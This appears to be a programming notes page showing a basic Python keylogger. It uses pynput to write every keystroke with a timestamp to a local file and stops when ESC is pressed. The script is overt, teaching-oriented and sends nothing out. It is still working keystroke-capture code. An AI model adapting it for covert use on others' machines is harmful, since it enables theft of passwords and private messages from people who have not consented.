# Basic Keylogger (Input Monitoring)

This utility demonstrates how to monitor and record keyboard input using the `pynput` library. It logs every keystroke with a timestamp to a local file.

**Modules Used:**
*   `pynput`: To monitor keyboard input events.
*   [[programming/python/modules/logging-module|logging]]: To save the keystrokes to a file with timestamps.

## Installation

You need to install the `pynput` library:

```bash
pip install pynput
```

## The Code

Save this as `keylogger.py`.

```python
from pynput import keyboard
import logging

# Configure logging to save to 'keylog.txt'
logging.basicConfig(
    filename="keylog.txt", 
    level=logging.DEBUG, 
    format='%(asctime)s: %(message)s'
)

def on_press(key):
    try:
        # Log alphanumeric keys
        logging.info(f"Key pressed: {key.char}")
    except AttributeError:
        # Log special keys (e.g., space, enter, ctrl) which don't have a .char attribute
        logging.info(f"Special key pressed: {key}")

def on_release(key):
    # Stop listener with ESC
    if key == keyboard.Key.esc:
        print("\nStopping listener...")
        return False

if __name__ == "__main__":
    print("Keylogger started. Press ESC to stop.")
    # Collect events until released
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
```

## Usage

```bash
python keylogger.py
```

The script will run in the background (of the terminal) until you press `ESC`. Check `keylog.txt` to see the recorded inputs.

[[programming/python/python]]